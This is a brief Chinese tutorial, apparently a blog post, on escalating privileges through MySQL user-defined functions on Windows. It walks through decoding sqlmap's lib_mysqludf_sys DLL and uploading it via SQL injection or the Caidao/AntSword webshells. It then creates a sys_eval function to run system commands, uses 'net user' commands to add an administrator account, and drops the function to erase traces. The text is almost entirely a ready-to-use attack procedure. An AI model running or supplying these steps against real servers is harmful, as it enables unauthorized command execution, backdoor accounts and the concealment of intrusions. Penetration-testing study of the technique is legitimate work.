目录
一、UDF 介绍
UDF 是 Mysql 的一个拓展接口,UDF(Userdefined function) 可翻译为用户自定义函数,是用来拓展 Mysql 的技术手段。
二、UDF提权步骤
1. 查看存放 udf.dll 的指定目录
使用 sql 语句查看 plugin 目录
select @@plugin_dir;
show variables like 'plugin%';
该目录默认是不存在的,需要我们在 Mysql 的安装路径下创建 lib\plugin 文件夹
2. 在 kali 获取 udf.dll 文件
使用 kali 系统中 sqlmap 自带的 cloak.py 文件,对 lib_mysqludf_sys.dll_ 文件解码。
cd /usr/share/sqlmap/extra/cloak # 进入cloak目录
./cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
# 解码 lib_mysqludf_sys.dll_ 文件
此时在 /usr/share/sqlmap/data/udf/mysql/windows/32 目录下,会生成一个 lib_mysqludf_sys.dll 文件,把该文件存在 web 中,方便提取使用。
将文件改名为 udf.dll
3. 把 udf.dll 文件上传到指定目录
可以通过下列方法将 udf.dll 文件上传到 lib\plugin 目录
利用 sql注入 进行上传 select load_file() into dumpfile “具体路径”。
直接利用 菜刀/蚁剑 拖拽到具体目录下。
4. 创建用户自定义函数 sys_eval
create function sys_eval returns string soname 'udf.dll';
#sys_eval是函数名称,udf.dll是lib_mysqludf_sys.dll_上传后的文件名
select * from mysql.func where name = 'sys_eval';
#查看函数是否存在,验证创建
5. 执行自定义函数 sys_eval
通过自定义函数创建用户,并将用户提升为 administrators 组的用户
select sys_eval("net user username password /add");
# 创建新用户,用户名为 username 密码为 password
select sys_eval("net localGroup administrators username /add")
# 将新用户 username 加入管理员组
6. 清除痕迹
删除自定义函数,清除痕迹
drop function sys_eval;
三、拓展资料
sqlmap中的udf文件提供的函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
参考文章